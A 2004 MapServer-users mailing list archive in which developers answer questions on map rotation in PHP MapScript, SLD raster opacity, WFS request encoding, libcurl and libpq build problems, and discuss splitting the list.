sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Thu, 17 Jun 2004 13:38:42 +1000 Subject: [Mapserver-users] Rotating maps and mapscript Message-ID: <6.0.0.22.2.20040617133536.01adaba0@sunrise.sli.unimelb.edu.au> HI again, one more question - thew binary I have downloaded is with php mapscript 4.3. In the wiki, it is stated that only i modules (python??) mapscripts are available... so, is the wiki obsolete, or the support for rotating the map is not in the php mapscript yet?? Thanks for your patience... Martin From dmorissette at dmsolutions.ca Wed Jun 16 20:51:12 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 16 Jun 2004 23:51:12 -0400 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: References: Message-ID: <40D11530.9010500@dmsolutions.ca> Tyler Mitchell wrote: > > - I've heard from more than a few people that they unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? The amount of traffic has definitely increased in the last few months to a point where it's hard to keep up with all the messages. I have never been a fan of splitting lists but I'm not sure how long we can continue with a single list. I like the idea of the newbie list but the problem I see is that if there are no power users on it then who will answer the newbie questions? Another issue with multiple lists is cross-posting which just makes the problem worse for those who want to be on all lists. > - Would an "announcement only" list be useful? > > What do you others on the list think? > For sure I think we should create an announcement list right away which would be moderated to make sure it receives only announcements and remains very low traffic. All users could subscribe to this one as a minimum and stay informed of new releases. That's what I normally do with packages that I only use and in which I am not actively involved. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed Jun 16 20:58:39 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 16 Jun 2004 23:58:39 -0400 Subject: [Mapserver-users] GetLegendGraphic Rules? In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366FFF@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366FFF@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40D116EF.6050909@dmsolutions.ca> Kralidis,Tom [Burlington] wrote: > Hi, > > I've found this issue as well. IMHO, a GetLegendGraphic request should > give back all classes with labels -- just like the MapServer CGI > "mode=legend" does. > > I believe there is a ticket open on this issue. Yes, this is about to be addressed in v4.3 (CVS): http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=653 -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From assefa at dmsolutions.ca Tue Jun 15 08:42:08 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 15 Jun 2004 11:42:08 -0400 Subject: [Mapserver-users] Opacity parameter in raster sld In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366FAA@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366FAA@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40CF18D0.9080205@dmsolutions.ca> > So this means that if someone provides their own SLD with the Opacity > element, MapServer will work with this accordingly? > Yes that is the case. > Will this work the other way around, i.e. responding to a GetStyles? > The GetStyles are not implemented for the raster layers. The main reason being that raster classification in mapserver does not follow the same "philosophy" as in the sld. Here is how things are transformed from sld to classes : class 1 : [pixel] >= 22 AND [pixel] < 30 with color 00ff00 class 2: [pixel] >= 30 AND [pixel] < 37 with color 00bf3f class 3 : [pixel] >= 37 AND [pixel] < 45 with color 007f7f class 4: [pixel] >= 45 AND [pixel] < 52 with color 003fbf class 5: [pixel] >= 52 AND [pixel] < 60 with color 0000ff class 6: [pixel] = 60 with color 000000 The other way around is not as trivial. Mapserver gives you a lot of flexibility to do the classifications. Here is an easy case : class1 [pixel] >= 22 AND [pixel] < 30 class2 [pixel] >= 40 AND [pixel] < 50 How would this be transformed in sld ? How would pixel values between 30 and 40 are represented ? As you can imagine, cases can be quite complicated. If someone comes up with an accepatble solution, I would certainly do the implementation. Maybe the solution is to limit how you do your classification in Mapserver when you need it to be sld compatible. Later, > Thanks > > ..Tom > > > >>Values in the sld go from 0.0 (for transparent) to 1.0 (for opaque). >> >>Later, >> >>-- >>---------------------------------------------------------------- >>Assefa Yewondwossen >>Software Analyst >> >>Email: assefa at dmsolutions.ca >>http://www.dmsolutions.ca/ >> >>Phone: (613) 565-5056 (ext 14) >>Fax: (613) 565-0925 >>---------------------------------------------------------------- >> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> > > > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From dmorissette at dmsolutions.ca Wed Jun 16 21:05:52 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 17 Jun 2004 00:05:52 -0400 Subject: [Mapserver-users] Rotating maps and mapscript In-Reply-To: <6.0.0.22.2.20040617133536.01adaba0@sunrise.sli.unimelb.edu.au> References: <6.0.0.22.2.20040617133536.01adaba0@sunrise.sli.unimelb.edu.au> Message-ID: <40D118A0.5090700@dmsolutions.ca> Martin Tomko wrote: > HI again, > one more question - thew binary I have downloaded is with php mapscript > 4.3. In the wiki, it is stated that only i modules (python??) > mapscripts are available... so, is the wiki obsolete, or the support for > rotating the map is not in the php mapscript yet?? > The 4.3 binary at the bottom of the following page includes the latest version of the rotation stuff: http://maptools.org/php_mapscript/index.phtml?page=downloads.html You are correct that the note in the Wiki about PHP MapScript not being in sync was out of date. The win32 build above includes the PHP setRotation() method and I have removed that note from the wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapRotation Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed Jun 16 21:13:19 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 17 Jun 2004 00:13:19 -0400 Subject: [Mapserver-users] WMSClient and libcurl In-Reply-To: <40CDBA14.4040901@ecn.purdue.edu> References: <40CDBA14.4040901@ecn.purdue.edu> Message-ID: <40D11A5F.2040602@dmsolutions.ca> Jin-Yong Choi wrote: > I'd like to compile MapServer for wmsclient. > While trying to run configure, I met the error follows. > I tried to run configure with curllib 7.12.0, as it was same. > Could you tell me how I can solve the problem? > Thanks. > -------------------------------------------------------- > ./configure: ../curl-7.10.8/curl-config: bad interpreter: Permission denied > ./configure: ../curl-7.10.8/curl-config: bad interpreter: Permission denied > found libcurl version > configure: error: libcurl version 7.10.1 or more recent is required. > -------------------------------------------------------- > The error above seems to suggest that the shell interpreter that the curl-config script tries to use doesn't exist. Perhaps make sure that /bin/sh exists on your system (this is what curl-config normally uses). Also, did you do a "make install" to install curl in /usr/local? You may run into problems if you try to compile/run with libraries that have not been properly "installed" in the system directories. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Antti.Roppola at brs.gov.au Wed Jun 16 21:16:17 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Thu, 17 Jun 2004 14:16:17 +1000 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A08781@afeb-ms-02> Tyler, - A "newbies only" list may not get much expert attention and diminsh its value to newbies. - An announcement list, or some form of moderated list would be cool. Maybe not just "official announcements", but anything the moderator feels to be news-worthy. Perhaps something more bloggish? - John's comments on subject lines was a good one. Suggesting that subscribers use an agreed set of subject lines may help people sort their mail more easily. People do that to an extent already (aka, "PHP", "Perl"), but others such as "[Announce]", "[OGC]" "[solution]", "[problem]" and such might facilitate this. - Some way of filtering speculation from answers might be nice. And yes, this list is a great resource and a definte advantage. :o) Antti -----Original Message----- From: Tyler Mitchell [mailto:tjmitchell at riverside.bc.ca] Sent: Thursday, 17 June 2004 9:07 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Other MapServer mailing lists Some of us have been discussing/debating about how to improve the MapServer community, specifically via the mailing lists. The idea is that there might be some benefit gained from creating a new list or two. I am not sure how well all the questions get answered, especially considering the volume of mail coming through these days. - I've heard from more than a few people that they unsubscribe after their question is answered because the traffic is so high. Do you think new users would benefit from a less threatening (lower volume!) newbie list? - Would some specific technical areas benefit from having a list (i.e. Mapscript)? - Would an "announcement only" list be useful? What do you others on the list think? Tyler p.s. for those of you who were overcome with guilt for never replying to my surveys, now's your chance to participate ;) ha! _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette at dmsolutions.ca Wed Jun 16 21:18:17 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 17 Jun 2004 00:18:17 -0400 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy In-Reply-To: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> References: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> Message-ID: <40D11B89.90204@dmsolutions.ca> bartvde at xs4all.nl wrote: > Hi list, > > there has been discussion recently about Mapserver GML not validating with > XMLSpy. > > A colleague of mine found the cause for this, and this is related to an > issue I reported one and a half week ago on the list. > > There are two issues: > 1) the GML version of Mapserver (2.1.1) and WFS (2.1.2) differ, but Assefa > already fixed this in CVS > 2) Mapserver does not respond properly to URL encoded HTTP GET requests, > which is what XMLSpy is sending. > > So basically, XMLSpy asks for: > http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes > Bart, As I also wrote in the bug report, I don't think the above URL is a valid CGI request. It is up to the client (XMLSpy in this case) to decode the "&" and turn them into "&" chars in the QUERY_STRING before calling the remote server. This is not specific to MapServer, that's the way CGI's work in general. Perhaps the problem is that the schema URL should not be encoded in the XML? I didn't think that was the case since I assumed that all string parameter values in an XML document needed to be encoded... perhaps that doesn't apply to the XML headers? If that's the case then perhaps you can add that information to the bug report. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed Jun 16 21:27:27 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 17 Jun 2004 00:27:27 -0400 Subject: [Mapserver-users] Compilation Error-New user Plz help In-Reply-To: <20040613204839.44700.qmail@web52002.mail.yahoo.com> References: <20040613204839.44700.qmail@web52002.mail.yahoo.com> Message-ID: <40D11DAF.1080708@dmsolutions.ca> Arun ! wrote: > Hi, > Im a new user of Mapserver.I tested my mapserver and it works > fine .also it works fine for the mapserver demo.I tried to create a map > of cali and i keep getting this one compilation error. > > loadLayer(): Unknown identifier. Parsing error near (queryitem):(line 40) > The QUERYITEM and QUERY objects are gone in V4.x ... they date from 3.3 or 3.4, so you must be using an old mapfile. The QUERY object was merged into the CLASS object, and the QUERYITEM is gone, you use the CLASSITEM instead. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mhln25 at yahoo.com Wed Jun 16 21:36:18 2004 From: mhln25 at yahoo.com (Mahalakshmi Narayanan) Date: Wed, 16 Jun 2004 21:36:18 -0700 (PDT) Subject: [Mapserver-users] how many mapserver users are over the world? In-Reply-To: <40CF700A.6060705@swoodbridge.com> Message-ID: <20040617043618.97002.qmail@web50708.mail.yahoo.com> Stephen I would like to add upon that.. 1. http://www.moximedia.com:8080/imf-ows/imf.jsp?site=ms_users site where you maintain the users list was not known to me. It was Tyler who mentioned about the site to me thro mail. I then registered in it as a user.. one suggestion is keep this somewhere in the home page of mapserver.gis.umn.edu where users/developers would be able to see and register themselves.. 2. Also, from downloads page you can keep track of how many downloads have taken place by making a. people register and download b. or take the ip of the client which downloads (This again may mislead 'cos all who download need not necessarily take it forward for building an appln) 3. Encourage people to join your gallery page so that it would show, if not complete, some positive figures on no. of users, sites, etc. I am with National Informatics Centre, which is a premier IT organization of India under Ministry of Commn. and Info Techonology and we have a wide network across the nation, HQ at New Delhi, all states have state centres and all districts have district units.. We are helping State and Central Governments on computerisation activities as consultants, get involved in design and development of Softwares etc.. I am with the Tamil Nadu State Centre at Chennai. I have been testing and using mapserver for over a year now.. we started with mapserver 3.5 days.. I had never joined user list 'cos GIS is not the only activity for me.. Recently I joined the list and I find it useful to identify new features that are of interest to me and our organization. I believe our HQ is taking more interest in what we had developed at the State Unit using open source 'cos they can replicate this in some other states. As you may guess, we may suggest to many State and Central Govt. departments here, the use of your MapServer. So, as Tyler rightly pointed out our 'clients' ie. the depts. would definitely move up. But you would still have only one or probably a few more user list but that does not really quantify.. With kind regards, Mahalakshmi Narayanan --- Stephen Woodbridge wrote: > http://www.google.com/search?num=100&hl=en&lr=&ie=UTF-8&newwindow=1&safe=off&q=%22cgi-bin%2Fmapserv%22&btnG=Search > > and this doesn't even count PHP, Perl or Python > scripts > > -Steve W. > > Tyler Mitchell wrote: > > > Selling software makes it soo much easier :) > > > > We sure talk about "users" pretty loosely too - > usually we talk about the > > actual app. developers and "map makers" but add in > the "clients" of those > > applications and it must be quite interesting (and > equally unmeasurable). > > > > > > > >>Always the great unknown. Open source software is > downloaded and used > >>alot of the time by people who never join the > lists. So lists are only a > > > > > >>pale reflection of overall useage. > >> > >>It would be nice if mapserver had a 'phone-home' > that hit a particular > >>URL at UMN once and reported back it's version > number and IP address. > >>Then UMN could compile statistics about real > mapserver usage, in terms > >>of version deployed, and general location deployed > (using some of the > >>simple IP->location databases). It could be > disabled with a > >>--disabe-phonehome compile option for those who > are shy, and would only > >>do it once (dropping a file into tmp perhaps to > indicate it has been > > > > done?). > > > >>A dream, I know, but it is sad that we do not know > the true size of our > >>user community. > >> > >>I have often thought that > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > __________________________________ Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. http://promotions.yahoo.com/new_mail From m.meier at spiekermann.de Wed Jun 16 21:43:44 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Thu, 17 Jun 2004 06:43:44 +0200 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: References: Message-ID: <40D12180.60509@spiekermann.de> Hi Tyler and others, - I think it is a good idea to separate the questions and discussions into three or four mailing lists. But i would not think, that "newbie" or not "newbie" is the right criterium. I can learn from messages even if i do not understand them to the last bit. - The different lists should be created by the theme like (as you said) "mapscript", "postgis and wms specific", perhaps "raster data". Instead of creating a newbie list, i think it would be better to make a FAQ page with a lot of reciepes. The mail archive is for a newbie of less use. - I don't know what an "announcement only" list is. Perhaps someone can explain. - The quality of answers is sometimes good and sometimes not. But the quality of questions is more not so good. Sometimes i have not an idea, what the people are asking for. But I don't know, how to improve that. - My personal opinion: I do learn a lot from looking over the mailing lists. I'm relatively new to mapserver and have a lot of problems understanding the philosophy behind mapserver and perl/mapscript and often i don't know why something is not working. The documentation is not a big help because it covers mostly details and not the structure of the system and the co-working between the classes. But because I did not contribute to mapserver anything until now, i may not complain. - And i have a question: How do the people like you and the others with a high rate of answering output take the time for this???? - And at last: When new lists will be created, could you please replace the relativ long prefix "[Mapserver-users]" by a shorter one? So I can see more of the subject text. But a reference to "mapserver" should be included. Thank you Manfred ------------------------------------------------------------- Tyler Mitchell schrieb: > Some of us have been discussing/debating about how to improve the > MapServer community, specifically via the mailing lists. The idea is that > there might be some benefit gained from creating a new list or two. > > I am not sure how well all the questions get answered, especially > considering the volume of mail coming through these days. > > - I've heard from more than a few people that they unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? > - Would an "announcement only" list be useful? > > What do you others on the list think? > > Tyler > > p.s. for those of you who were overcome with guilt for never replying to > my surveys, now's your chance to participate ;) ha! > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From assefa at dmsolutions.ca Tue Jun 15 08:28:39 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 15 Jun 2004 11:28:39 -0400 Subject: [Mapserver-users] Mapserver 4.2 with Oracle !??? In-Reply-To: <1087310263.12740.30.camel@localhost> References: <118A9CF846431048B65C4AFB0E57C0ED03733D@ECQCSTFMAIL1.quebec.int.ec.gc.ca> <1087310263.12740.30.camel@localhost> Message-ID: <40CF15A7.7010303@dmsolutions.ca> Unfortunatly the build on maptools does not include oracle spatial. I will start in the next weeks to get the builds with oracle. I have done it once successfully but I am not setup to do any testing with it. Will let you know when It is available. Later, Pericles S. Nacionales wrote: > Nicolas, > > I'm in the process of compiling MapServer 4.2 for windows and will > include oracle spatial support. It's taking a bit longer as I'm also > compiling new versions of other libraries. It should be available in > the MapServer website sometime tomorrow. I don't know if there's a > version in maptools.org with oracle spatial support but you can check at > http://www.maptools.org. > > Cheers! > -Perry N. > > On Tue, 2004-06-15 at 08:59, Fortin,Nicolas [SteFoy] wrote: > >>Hi list, >> >>I wonder if someone already have compiled mapserver 4.2 with oracle >>spatial support like ms402_gif_oracle.zip for windows? >>If the answer is yes, where will it be available on the mapserver site? >> >>Thx, >> >>Nicolas Fortin >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From Tom.Kralidis at ec.gc.ca Wed Jun 16 22:16:10 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Thu, 17 Jun 2004 01:16:10 -0400 Subject: [Mapserver-users] Compile error Message-ID: <2576812186CDD411BF1500508B6DCE9507367001@ecnwri1.ontario.int.ec.gc.ca> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4542A.338FDDE1 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi, I'm running into issues in deploying MapServer. Info: - OS: Fedora Core 2 - supporting libs installed in default locations I've included my terminal session in trying to compile (attachement build_output.txt). Note that it's looking for the libpq lib. I even tried copying /usr/local/pgsql/lib/libpq* to /usr/local/lib, but ldd still gives me problems for libpq. Any suggestions are valued. Thanks ..Tom =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ ------_=_NextPart_001_01C4542A.338FDDE1 Content-Type: text/plain; name="build_output.txt" Content-Transfer-Encoding: base64 Content-Description: build_output.txt Content-Disposition: attachment; filename="build_output.txt" L2NvbmZpZ3VyZSAtLXdpdGgtZnJlZXR5cGU9L3Vzci9sb2NhbC9iaW4vZnJlZXR5cGUtY29uZmln IC0td2l0aC16bGliPS91c3IvbG9jYWwgLS13aXRoLXBuZz0vdXNyL2xvY2FsIC0td2l0aC1qcGVn PS91c3IgLS13aSANCnRoLXhwbT0vdXNyL2xvY2FsIC0td2l0aC1saWJpY29udj0vdXNyL2xvY2Fs IC0td2l0aC1nZD0vdXNyL2xvY2FsIC0td2l0aC1wZGY9L3Vzci9sb2NhbCAtLXdpdGgtZXBwbCAt LXdpdGgtcHJvaj0vdXNyL2xvY2FsIC0td2l0aC1vZ3I9L3Vzci9sb2NhbC9iaW4vZ2QgCBtbS2Fs LWNvIA0KbmZpZyAtLXdpdGgtZ2RhbD0vdXNyL2xvY2FsL2Jpbi9nZGFsLWNvbmZpZyAgLS13aXRo LXRpZmY9L3VzciAtLXdpdGgtcG9zdGdpcz0vdXNyL2xvY2FsL3Bnc3FsL2Jpbi9wZ19jb25maWcg LS13aXRoLXdmcyAtLXdpdGgtd21zY2xpZW50IC0td2l0aC13ZnNjbGllbnQgLS13IA0KaXRoLWN1 cmwtY29uZmlnPS91c3IvbG9jYWwvYmluL2N1cmwtY29uZmlnIC0td2l0aC13Y3MNCmNoZWNraW5n IGZvciBnY2MuLi4gZ2NjDQpjaGVja2luZyBmb3IgQyBjb21waWxlciBkZWZhdWx0IG91dHB1dC4u LiBhLm91dA0KY2hlY2tpbmcgd2hldGhlciB0aGUgQyBjb21waWxlciB3b3Jrcy4uLiB5ZXMNCmNo ZWNraW5nIHdoZXRoZXIgd2UgYXJlIGNyb3NzIGNvbXBpbGluZy4uLiBubw0KY2hlY2tpbmcgZm9y IHN1ZmZpeCBvZiBleGVjdXRhYmxlcy4uLiANCmNoZWNraW5nIGZvciBzdWZmaXggb2Ygb2JqZWN0 IGZpbGVzLi4uIG8NCmNoZWNraW5nIHdoZXRoZXIgd2UgYXJlIHVzaW5nIHRoZSBHTlUgQyBjb21w aWxlci4uLiB5ZXMNCmNoZWNraW5nIHdoZXRoZXIgZ2NjIGFjY2VwdHMgLWcuLi4geWVzDQpjaGVj a2luZyBmb3IgZ2NjIG9wdGlvbiB0byBhY2NlcHQgQU5TSSBDLi4uIG5vbmUgbmVlZGVkDQpjaGVj a2luZyBmb3IgZysrLi4uIGcrKw0KY2hlY2tpbmcgd2hldGhlciB3ZSBhcmUgdXNpbmcgdGhlIEdO VSBDKysgY29tcGlsZXIuLi4geWVzDQpjaGVja2luZyB3aGV0aGVyIGcrKyBhY2NlcHRzIC1nLi4u IHllcw0KY2hlY2tpbmcgZm9yIHJhbmxpYi4uLiByYW5saWINCmNoZWNraW5nIGZvciBmbGV4Li4u IGZsZXgNCmNoZWNraW5nIGZvciB5eXdyYXAgaW4gLWxmbC4uLiB5ZXMNCmNoZWNraW5nIGxleCBv dXRwdXQgZmlsZSByb290Li4uIGxleC55eQ0KY2hlY2tpbmcgd2hldGhlciB5eXRleHQgaXMgYSBw b2ludGVyLi4uIHllcw0KY2hlY2tpbmcgZm9yIGJpc29uLi4uIGJpc29uIC15DQpjaGVja2luZyBp ZiBjb21waWxlciBzdXBwb3J0cyAtUi4uLiBubw0KY2hlY2tpbmcgaWYgY29tcGlsZXIgc3VwcG9y dHMgLVdsLC1ycGF0aCwuLi4geWVzDQpjaGVja2luZyBmb3IgZXhwIGluIC1sbS4uLiB5ZXMNCmNo ZWNraW5nIGZvciBfX2d4eF9wZXJzb25hbGl0eV92MCBpbiAtbHN0ZGMrKy4uLiB5ZXMNCmNoZWNr aW5nIGhvdyB0byBydW4gdGhlIEMgcHJlcHJvY2Vzc29yLi4uIGdjYyAtRQ0KY2hlY2tpbmcgZm9y IGVncmVwLi4uIGdyZXAgLUUNCmNoZWNraW5nIGZvciBBTlNJIEMgaGVhZGVyIGZpbGVzLi4uIHll cw0KY2hlY2tpbmcgZm9yIHN0cmNhc2VjbXAuLi4geWVzDQpjaGVja2luZyBmb3Igc3RybmNhc2Vj bXAuLi4geWVzDQpjaGVja2luZyBmb3Igc3RyZHVwLi4uIHllcw0KY29uZmlndXJlOiBjaGVja2lu ZyB3aGVyZSBGcmVlVHlwZSAyLnggaXMgaW5zdGFsbGVkLi4uLi4uDQogICAgICAgIHVzaW5nIGxp YmZyZWV0eXBlIGZyb20gLUwvdXNyL2xvY2FsL2xpYiAtV2wsLS1ycGF0aCAtV2wsL3Vzci9sb2Nh bC9saWIgLWxmcmVldHlwZSAtbHoNCmNoZWNraW5nIGZvciBGVF9Jbml0X0ZyZWVUeXBlIGluIC1s ZnJlZXR5cGUuLi4geWVzDQogICAgICAgIHVzaW5nIGxpYmZyZWV0eXBlIC1sZnJlZXR5cGUgZnJv bSBzeXN0ZW0gbGlicy4NCmNvbmZpZ3VyZTogY2hlY2tpbmcgd2hlcmUgWmxpYiBpcyBpbnN0YWxs ZWQuLi4uLi4NCiAgICAgICAgdXNpbmcgbGlieiBmcm9tIC1ML3Vzci9sb2NhbC9saWIgLWx6DQpj b25maWd1cmU6IGNoZWNraW5nIHdoZXJlIFBORyBpcyBpbnN0YWxsZWQuLi4uLi4NCiAgICAgICAg dXNpbmcgbGlicG5nIGZyb20gLUwvdXNyL2xvY2FsL2xpYiAtbHBuZw0KY29uZmlndXJlOiBjaGVj a2luZyB3aGV0aGVyIHdlIHNob3VsZCBpbmNsdWRlIEpQRUcgc3VwcG9ydC4uLi4uLg0KICAgICAg ICB1c2luZyBsaWJqcGVnIGZyb20gc3lzdGVtIC1ML3Vzci9saWIgLWxqcGVnDQpjb25maWd1cmU6 IGNoZWNraW5nIHdoZXJlIGxpYlhwbSBpcyBpbnN0YWxsZWQuLi4uLi4NCmNoZWNraW5nIGZvciBY cG1GcmVlWHBtSW1hZ2UgaW4gLWxYcG0uLi4gbm8NCiAgICAgICAgWFBNIChsaWJYcG0pIGxpYnJh cnkgY2Fubm90IGJlIGZvdW5kLCBwb3NzaWJseSBuZWVkZWQgZm9yIEdEDQpjb25maWd1cmU6IGNo ZWNraW5nIHdoZXJlIGxpYmljb252IGlzIGluc3RhbGxlZC4uLi4uLg0KICAgICAgICB1c2luZyBs aWJpY29udiBmcm9tIC1ML3Vzci9sb2NhbC9saWIgLWxpY29udg0KY29uZmlndXJlOiBjaGVja2lu ZyBmb3IgR0QgMi4wLjEyIG9yIGhpZ2hlci4uLi4uLg0KY2hlY2tpbmcgZm9yIGdkSW1hZ2VTZXRB bnRpQWxpYXNlZCBpbiAtbGdkLi4uIHllcw0KICAgICAgICB1c2luZyBsaWJnZCAyLjAuMTIgKG9y IGhpZ2hlcikgZnJvbSAtTC91c3IvbG9jYWwvbGliIC1sZ2QgLUwvdXNyL2xpYiAtbGpwZWcgLWxm cmVldHlwZSAtTC91c3IvbG9jYWwvbGliIC1scG5nIC1ML3Vzci9sb2NhbC9saWIgLWx6ICANCmNo ZWNraW5nIGZvciBnZEltYWdlR2lmIGluIC1sYy4uLiB5ZXMNCmNoZWNraW5nIGZvciBnZEltYWdl UG5nIGluIC1sYy4uLiB5ZXMNCmNoZWNraW5nIGZvciBnZEltYWdlSnBlZyBpbiAtbGMuLi4geWVz DQpjaGVja2luZyBmb3IgZ2RJbWFnZVdCTVAgaW4gLWxjLi4uIHllcw0KY2hlY2tpbmcgZm9yIGdk SW1hZ2VTdHJpbmdGVCBpbiAtbGMuLi4geWVzDQpjaGVja2luZyBmb3IgZ2RJbWFnZUdpZlB0ciBp biAtbGMuLi4geWVzDQogICAgICAgIHVzaW5nIEdEICggLURVU0VfR0RfR0lGIC1EVVNFX0dEX1BO RyAtRFVTRV9HRF9KUEVHIC1EVVNFX0dEX1dCTVAgLURVU0VfR0RfRlQgLURHRF9IQVNfR0RJTUFH RUdJRlBUUikgZnJvbSAvdXNyL2xvY2FsLg0KY29uZmlndXJlOiBjaGVja2luZyB3aGV0aGVyIHdl IHNob3VsZCBpbmNsdWRlIFBERiBzdXBwb3J0Li4uLi4uDQogICAgICAgIHVzaW5nIGxpYnBkZiBm cm9tIC1ML3Vzci9sb2NhbC9saWI2NCAtbHBkZi4NCmNvbmZpZ3VyZTogY2hlY2tpbmcgd2hldGhl ciB3ZSBzaG91bGQgaW5jbHVkZSBFUFBMNyBzdXBwb3J0Li4uLi4uDQogICAgICAgIGluY2x1ZGlu ZyBFUFBMNyBzdXBwb3J0Lg0KY29uZmlndXJlOiBjaGVja2luZyB3aGV0aGVyIHdlIHNob3VsZCBp bmNsdWRlIFBST0ouNCBzdXBwb3J0Li4uLi4uDQpjaGVja2luZyBmb3IgcGpfdHJhbnNmb3JtIGlu IC1scHJvai4uLiB5ZXMNCmNoZWNraW5nIGZvciBwal9sYXRsb25nX2Zyb21fcHJvaiBpbiAtbHBy b2ouLi4geWVzDQogICAgICAgIHVzaW5nIFBST0ouNCBmcm9tIC91c3IvbG9jYWwuDQpjb25maWd1 cmU6IGNoZWNraW5nIHdoZXRoZXIgd2Ugc2hvdWxkIGluY2x1ZGUgdGhyZWFkIHNhZmUgc3VwcG9y dC4uLi4uLg0KICAgICAgICB0aHJlYWQgc2FmZSBzdXBwb3J0IGRpc2FibGVkLg0KY29uZmlndXJl OiBjaGVja2luZyB3aGV0aGVyIHdlIHNob3VsZCBpbmNsdWRlIEVTUkkgU0RFIHN1cHBvcnQuLi4u Li4NCiAgICAgICAgRVNSSSBTREUgc3VwcG9ydCBub3QgcmVxdWVzdGVkLg0KY29uZmlndXJlOiBj aGVja2luZyB3aGV0aGVyIHdlIHNob3VsZCBjb21waWxlIGluIE1QQVRST0wgc3VwcG9ydC4uLi4u Lg0KICAgICAgICBNUEFUUk9MIHN1cHBvcnQgbm90IHJlcXVlc3RlZC4NCmNvbmZpZ3VyZTogY2hl Y2tpbmcgd2hldGhlciB3ZSBzaG91bGQgaW5jbHVkZSBPR1Igc3VwcG9ydC4uLi4uLg0KICAgICAg ICBPR1IgZW5hYmxlZCAoLURVU0VfT0dSKS4NCmNoZWNraW5nIGlmIEdEQUwgc3VwcG9ydCByZXF1 ZXN0ZWQuLi4geWVzLCB1c2VyIHN1cHBsaWVkIGdkYWwtY29uZmlnICgvdXNyL2xvY2FsL2Jpbi9n 